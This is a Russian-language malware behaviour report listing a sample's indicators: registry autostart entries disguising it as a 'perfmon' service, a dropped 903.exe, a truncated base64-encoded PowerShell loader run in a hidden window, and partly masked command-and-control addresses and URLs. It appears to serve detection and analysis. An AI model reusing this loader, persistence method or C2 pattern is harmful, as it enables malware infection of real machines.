Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\perfmon] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\perfmon] 'ImagePath' = '"%WINDIR%\SysWOW64\vsstrace\perfmon.exe"'
- 'perfmon' "%WINDIR%\SysWOW64\vsstrace\perfmon.exe"
- 'perfmon' %WINDIR%\SysWOW64\vsstrace\perfmon.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABOAFYARgBLAEwAdQB6AGcAPQAnAEoAUQBQAEkASgBiAHYAZQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBgAEMAYABVAFIAYABpAHQAWQBQAFIATwBUAG8AQwBgAE8ATAAiAC...
- %HOMEPATH%\903.exe
- %WINDIR%\syswow64\vsstrace\perfmon.exe
- %HOMEPATH%\903.exe в %WINDIR%\syswow64\vsstrace\perfmon.exe
- '17#.#0.229.168':443
- '18#.#4.252.13':443
- http://el####gelondon.com/wp-admin/QS/
- http://18#.##.252.13:443/QpmLkRyTM/Qn6mcePYs/r3OsRk5fiAO/fy7Srd6RJC66lM/ via 18#.#4.252.13
- DNS ASK el####gelondon.com
- '%HOMEPATH%\903.exe'
- '%WINDIR%\syswow64\vsstrace\perfmon.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABOAFYARgBLAEwAdQB6AGcAPQAnAEoAUQBQAEkASgBiAHYAZQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBgAEMAYABVAFIAYABpAHQAWQBQAFIATwBUAG8AQwBgAE8ATAAiAC...' (со скрытым окном)